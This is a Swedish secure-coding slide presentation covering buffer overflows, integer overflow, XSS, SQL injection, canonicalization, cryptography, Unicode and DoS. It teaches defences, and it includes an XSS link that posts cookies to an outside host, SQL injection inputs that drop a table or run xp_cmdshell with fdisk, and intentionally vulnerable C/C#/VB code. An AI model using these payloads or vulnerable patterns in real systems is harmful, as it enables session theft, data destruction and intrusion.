1 / 53

Att skriva säker kod – del 1

Att skriva säker kod – del 1. Fredrik Hesse Säkerhetskonsult Nexus Technology AB. Vad kommer vi gå igenom. Behovet av säker kod Hur skyddar vi oss mot: Minnesutmaningar Aritmetiska fel “Cross-site Scripting” “SQL Injection” “Canonicalization” utmaningar Svagheter vid kryptering

kineks
Download Presentation

Att skriva säker kod – del 1

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Att skriva säker kod – del 1 Fredrik Hesse Säkerhetskonsult Nexus Technology AB

  2. Vad kommer vi gå igenom • Behovet av säker kod • Hur skyddar vi oss mot: • Minnesutmaningar • Aritmetiska fel • “Cross-site Scripting” • “SQL Injection” • “Canonicalization” utmaningar • Svagheter vid kryptering • Utmaningar med Unicode • “Denial of Service” attacker

  3. Vad kommer vi gå igenom • Behovet av säker kod • Hur skyddar vi oss mot: • Minnesutmaningar • Aritmetiska fel • “Cross-site Scripting” • “SQL Injection” • “Canonicalization” utmaningar • Svagheter vid kryptering • Utmaningar med Unicode • “Denial of Service” attacker

  4. Behovet av säker kod “Up to 1,500 websites could have been affected by a recent hack attack” US port 'hit by UK hacker‘ “ “Piracy cost more than 4,300 jobs and $850 million in damage” “Several corporations said they lost $10 million in a single break-in” “Sobig virus accounted for $30 billion worth of economic damages worldwide” “Attacks will cost the world economy a whopping $1.6 trillion (US$) this year”

  5. Hotfulla scenarios • Anställda kopplar upp sig till företagets nätverk • Via TP, trådlöst, uppringda förbindelser eller VPN • Företagsdatorer, hem-PC • Anställda kopplar upp sig till andra nätverk • “HotSpots” på internet, partners, bredband • Partners kopplar upp sig till företagets nätverk • Lokal och/eller gemensam autentisering • Anonyma gäster • Nya scenarier och hot

  6. Vad vill vi skydda oss emot? • Internet är grogrunden för: • Tjuvar • Bedragare • Vandaler • Kriminella • Hackers • Du borde inte vara förvånad över att attacker förekommer!

  7. Organisations- attacker Hackers Automatiserade attacker Skyddad data DoS Säkerhetsintrångav misstag Tappad uppkoppling “Denial of Service” (DoS) Virus, trojaner, maskar Vanliga attacker

  8. Vad kommer vi gå igenom • Behovet av säker kod • Hur skyddar vi oss mot: • Minnesutmaningar • Aritmetiska fel • “Cross-site Scripting” • “SQL Injection” • “Canonicalization” utmaningar • Svagheter vid kryptering • Utmaningar med Unicode • “Denial of Service” attacker

  9. Vad är en buffertöverskrivning? • Existerar primärt i ohanterad kod (C/C++) • Data överskrider förväntad storlek • Fyra vanliga typer: • Stackbaserade buffertöverskrivningar • Heap-baserade överskrivningar • Funktionspekare i “V-table” • Felhantering • Kan utnyttjas av maskar • Robert Morris mask och CodeRed

  10. void UnSafeMethod(const char* uncheckedData) { char localVariable[4]; int anotherLocalVariable; strcpy (localVariable, uncheckedData); } Exempel på buffertöverskrivning Överst på stacken int char[4] returadress

  11. Data Pekare Data Data Pekare Pekare “Heap” överskrivningar • Skriver över data som lagrats på “heapen” • Stackbaserad överskrivning skriver över adresser i stacken • Svårare att utnyttja • En hacker måste lära sig om enfunktionspekare är lagrad nära eninmatningsbuffert xxxxxxxxxxxxxx strcpy

  12. Skydd mot buffertöverskrivningar (1/2) • Var försiktig när du använder: • strcpy • strncpy • memcpy • Använd flaggan /GS vid kompilering i Visual C++ för att identifiera överskrivningar • /GS valet är inte en ersättning för försiktig och noggrann programmering • Används strsafe.h för säker bufferthantering

  13. Skydd mot buffertöverskrivningar (2/2) • Kontrollera alla vektorindex • Använd med fördel “wrapper”-klasser • Kan innehålla inbyggt skydd • Kontrollera längden på sökvägar till filer • _MAX_PATH (men var observant) • Skriv inte egna algoritmer för att dela filer • Använd splitpath eller någon liknande • Optimalt är att använda hanterad kod • Men glöm inte bort PInvoke/COM interoperabilitet samt kod som markerats som “unsafe”

  14. Vad kommer vi gå igenom • Behovet av säker kod • Hur skyddar vi oss mot: • Minnesutmaningar • Aritmetiska fel • “Cross-site Scripting” • “SQL Injection” • “Canonicalization” utmaningar • Svagheter vid kryptering • Utmaningar med Unicode • “Denial of Service” attacker

  15. Aritmetiska fel • Aritmetiska fel • Uppstår när begränsningarna för en variabel överskrids • Underskattas och förkastas ofta • Kan leda till allvarliga fel vid exekvering • Exempel på aritmetiska fel inkluderar • “Overflow” • “Underflow”

  16. Exempel på aritmetiska fel • Hur stor är en size_t? • Är en size_t teckenbestämd? • Vad händer om: len1 == 0xFFFFFFFE len2 == 0x00000102 int Concat(char *buf1, char *buf2, size_t len1, size_t len2){ char buf[256]; if((len1 + len2) > 256) return -1; memcpy(buf, buf1, len1); memcpy(buf + len1, buf2, len2); ... }

  17. Skydd mot aritmetiska fel • För att förhindra aritmetiska fel: • Var medveten om begränsningarna på de datatyper som du använder • Skriv defensiv kod, kontrollera efter “overflows” • Överväg att skriva säkra funktioner som kan återanvändas • Till exempel: SafeAdd • Överväg att skapa en säker “template”-klass om du använder C++ • Till exempel: class SafeInt <typnamn T>

  18. Skydd mot aritmetiska fel // Kontrollera fel if (A + B >= A && A + B < MAX) { // coolt! } eller // Skapa egna säkra funktioner if UAdd(A,B,&R) { // coolt, resultatet i R } eller // dleblanc (SafeInt.hpp) SafeInt<int> A = 0x5000; SafeInt<int> B = 0xffff; if (A + B < MAX) { } if (A + B > MAX) return -1;

  19. Vad kommer vi gå igenom • Behovet av säker kod • Hur skyddar vi oss mot: • Minnesutmaningar • Aritmetiska fel • “Cross-site Scripting” • “SQL Injection” • “Canonicalization” utmaningar • Svagheter vid kryptering • Utmaningar med Unicode • “Denial of Service” attacker

  20. Vad är “Cross-Site Scripting”? • XSS ger hackers möjligheten att exekvera skadliga skript i en klients webbläsare • Vilken webbsida som helst som renderar HTML och innehåller inmatning från användare är sårbar • Hackers kan föra in <script>, <object>, <applet> och <embed> taggar • Hackers kan potentiellt stjäla information om sessioner och autentiserings-cookies och då få tillgång till den lokala klientens dator

  21. Två vanliga användningsområden • Attackera webbaserade plattformar för epost och diskussionsgrupper • Hackern för in HTML-taggar i meddelanden och poster i diskussionsgrupper • Använda HTML <form>-taggar för att skicka privat information vidare • Hackern lägger till HTML <form>-taggar i hyperlänkar som går till en legitim webbsida. Attributet “Action” på <form>-taggen leder till hackerns webbsida och privat information kan skickas dit.

  22. XSS exempel Aktörerna Bosse, vår hacker Maria, en vanlig användare

  23. Formulärbaserade attacker (1/2) Response.Write(“Välkommen " & Request.QueryString("UserName"))

  24. Formulärbaserade attacker (2/2) <a href=http://www.contoso.msft/welcome.asp?UserName= <FORM action=http://www. nwtraders.msft/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> > here </a>

  25. Skydd mot XSS (1/2) • Lita inte på inmatning från användare • Validera all data som ges av användare • Var extra noggrann med data som innehåller<script> eller <object> • Eka inte blint tillbaka inmatning från webben • Eka bara när det behövs • Validera data innan du ekar • Lagra inte känslig information i “cookies” • Relativt enkelt för hackers att ta en “cookie”

  26. Skydd mot XSS (2/2) • Använd valet HttpOnly för cookies • Hindrar åtkomst från skript på klientsidan • Använd säkerhetsattributet i <frame> • Stödjer zon inställningar i Internet Explorer • Definera en explicit teckenuppsättning för sidan • Använd funktioner i ASP.NET • Använd “validateRequest” för att testa taggar • Använd “HTMLEncode” och “URLEncode” för att filtrera det som skrivs tillbaka

  27. Vad kommer vi gå igenom • Behovet av säker kod • Hur skyddar vi oss mot: • Minnesutmaningar • Aritmetiska fel • “Cross-site Scripting” • “SQL Injection” • “Canonicalization” utmaningar • Svagheter vid kryptering • Utmaningar med Unicode • “Denial of Service” attacker

  28. Vad är “SQL Injection”? • “SQL injection” uppkommer när användare kontrollerar kriterier i SQL-program och hackers matar in värden som förändrar det asviktliga syftet med programmet • Fyra vanliga exempel på “SQL Injection”: • Utforska databaser • Kringgå auktorisering • Exekvera flera SQL-program • Anropa inbyggda lagrade procedurer

  29. “SQL Injection” i C# string Status = "No"; string sqlstring =""; try { SqlConnection sql= new SqlConnection( @"data source=localhost; user id=sa;password=password;"); sql.Open(); sqlstring="SELECT HasShipped" + " FROM detail WHERE ID='" + Id + "'"; SqlCommand cmd = new SqlCommand(sqlstring,sql); if ((int)cmd.ExecuteScalar() != 0) Status = "Yes"; } catch (SqlException se) { Status = sqlstring + " failed\n\r"; foreach (SqlError e in se.Errors) { Status += e.Message + "\n\r"; } } catch (Exception e) { Status = e.ToString(); }

  30. “SQL Injection” i VB.NET Dim Status As String = "No" Dim sqlstring As String Try Dim sql As New SqlConnection( _ "data source=localhost; user id=sa;password=password") sqlstring = "SELECT HasShipped FROM detail WHERE ID='“ + Id + "'" sql.Open() Dim cmd As New SqlCommand(sqlstring, sql) If cmd.ExecuteScalar() <> 0 Then Status = "Yes" End If Catch se As SqlException Status = sqlstring + " failed” + System.Environment.NewLine For i As Integer = 0 To se.Errors.Count - 1 Status += se.Errors(i).Message + System.Environment.NewLine Next Catch e As Exception Status = e.ToString() End Try

  31. Hur används ”SQL Injection”? (1/3) En bussig en skriver 1001 SELECT HasShippedFROM detail WHERE ID= '1001' En mindre bussig en skriver 1001’ or 1=1 - - SELECT HasShippedFROM detail WHERE ID= '1001' or 1=1 -- '

  32. Hur används ”SQL Injection”? (2/3) En riktigt elak en skriver 1001' drop table orders -- Om en server är nere i 5 timmar Och vi har normalt 200 transaktioner i timmen Varje transaktion är på 300 kronor SELECT HasShipped FROM detailWHERE ID= '1001' drop table orders -- ' En person vid namn “ondskan” skriver 1001' exec xp_cmdshell(‘fdisk.exe’) -- SELECT HasShipped FROM detailWHERE ID= '1001' exec xp_cmdshell('fdisk.exe') -- ' 300 000 i förlorade intäkter

  33. Hur används ”SQL Injection”? (3/3) • SQL Injection och DoS ALFKI’; exec master..xp_cmdshell ’ipconfig /release SELECT * FROM customers WHERE ID = ‘" & customerSearch & “ ‘ " SELECT * FROM customersWHERE ID= 'ALFKI’;exec master..xp_cmdshell ’ipconfig /release'

  34. Skydd mot “SQL Injection” • Validera och sanera ALL inmatning • Anta att inmatning är ond tills motsatsen bevisats • Leta efter korrekt data och förkasta allt annat • Fundera på att använda reguljära uttryck • Exekvera med så lite rättigheter som möjligt • Exekvera aldrig som ‘sa’ • Begränsa åtkomsten till lagrade procedurer • Favorisera “SQL parameterized queries” • Bygg inte program med ihopfogning av strängar • Skicka inte tillbaka meddelanden från ODBC

  35. Skydd mot “SQL Injection” • Bygg en parameteriserad fråga i C# • Bygg en parameteriserad fråga i VB SqlDataAdapter myCommand = new SqlDataAdapter("SELECT au_lname, au_fname FROM Authors WHERE au_id = @au_id", conn); SqlParameter parm = myCommand.SelectCommand.Parameters.Add("@au_id", SqlDbType.VarChar, 11); parm.Value = Login.Text; Dim myCommand As New SqlDataAdapter("SELECT au_lname, au_fname FROM Authors WHERE au_id = @au_id", conn) Dim parm As SqlParameter = myCommand.SelectCommand.Parameters.Add("@au_id", SqlDbType.VarChar, 11) parm.Value = Login.Text

  36. Vad kommer vi gå igenom • Behovet av säker kod • Hur skyddar vi oss mot: • Minnesutmaningar • Aritmetiska fel • “Cross-site Scripting” • “SQL Injection” • “Canonicalization” utmaningar • Svagheter vid kryptering • Utmaningar med Unicode • “Denial of Service” attacker

  37. “Canonicalization” • Det finns fler än ett sätt att namnge saker • Alternativa representationer finns för: • Filnamn • URL:er • Hackers kan utnyttja kod där beslut baserats på filnamn eller URL:er

  38. “Canonicalization” • MinStoraFil.txt • MinStoraFil.txt. • MinSto~1.txt • MinStoraFil.txt::$DATA

  39. “Canonicalization” • Det finns många sätt att representera tecken på Internet http://www.microsoft.com/technet/security Är det samma som.: http://www%2emicrosoft%2ecom%2ftechnet%2fsecurity http://www.microsoft.com%c0%aftechnet%c0%afsecurity http://www%25%32%65microsoft.com/technet/security http://172.43.122.12 = http://2888530444

  40. Skydd mot “Canonicalization” • Basera aldrig beslut på namn • Det finns ett antal sätt att beskriva sökvägar och URL’er • Chansen finns att du gör fel • Använd säkerheten i filsystemet • Begränsa åtkomst till privat data • Slå av “Parent Paths” i IIS

  41. Vad kommer vi gå igenom • Behovet av säker kod • Hur skyddar vi oss mot: • Minnesutmaningar • Aritmetiska fel • “Cross-site Scripting” • “SQL Injection” • “Canonicalization” utmaningar • Svagheter vid kryptering • Utmaningar med Unicode • “Denial of Service” attacker

  42. Nyckel Klartext Kryptotext Algoritm Jag behöver tre av ovanstående för att ta ditt data! Svagheter vid kryptering • Saker som kan bli fel • Att skapa en egen • Svaga algoritmer • Felaktigheter i krypteringsalgoritmer • Säkerheten på nyckeln • Livslängden på nyckeln • Den mänskliga faktorn

  43. Kryptografiska hackningsförsök • Om det går, använd DPAPI för att slippa hantera nycklar • Om nyckelhantering krävs • Byt nycklar regelbundet, återanvänd inte! • Använd ACL:er för att begränsa åtkomst • Använd större nycklar för ökad säkerhet • Implementera INTE dina egna kryptografiska rutiner

  44. Vad kommer vi gå igenom • Behovet av säker kod • Hur skyddar vi oss mot: • Minnesutmaningar • Aritmetiska fel • “Cross-site Scripting” • “SQL Injection” • “Canonicalization” utmaningar • Svagheter vid kryptering • Utmaningar med Unicode • “Denial of Service” attacker

  45. Utmaningar med Unicode • Vanliga misstag • Behandla ett Unicode-tecken som en enstaka byte • Felberäkning av behövd storlek på bufferts • Missanvändning av MultiByteToWideChar • Validering innan konvertering • Alla tecken i Unicode kan inte översättas till ASCII • Resultat • Buffertöverskrivningar • Potentiellt farliga teckensekvenser kommer igenom nätet

  46. Skydd mot utmaningar i Unicode • Beräkna storlek på buffert med sizeof(WCHAR) • Glöm inte GB18030 (4 bytes per tecken) • Konvertera från Unicode till ASCII och validera efteråt • Använd IsNLSDefinedString vid validering • Använd MultiByteToWideChar korrekt • Erbjud en tillräckligt stor buffert

  47. Vad kommer vi gå igenom • Behovet av säker kod • Hur skyddar vi oss mot: • Minnesutmaningar • Aritmetiska fel • “Cross-site Scripting” • “SQL Injection” • “Canonicalization” utmaningar • Svagheter vid kryptering • Utmaningar med Unicode • “Denial of Service” attacker

  48. “Denial of Service” attacker • Brist i applikationen eller operativsystem • CPU brist (“svält”) • Minnesbrist • Resursbrist • Nätverksbrist

  49. Skydda mot DOS-attacker • Designa dina applikationer att vara säkra från första dagen • Ha eventuella planer på plats direkt • Lita inte på användarinmatning • Hantera fel intelligent • Fånga fel • (Try-Catch-Finally) • Gör säkerhetstester • Förvänta det oförväntade

  50. Sammanfattning • Behovet av säker kod • Hur skyddar vi oss mot: • Minnesutmaningar • Aritmetiska fel • “Cross-site Scripting” • “SQL Injection” • “Canonicalization” utmaningar • Svagheter vid kryptering • Utmaningar med Unicode • “Denial of Service” attacker

More Related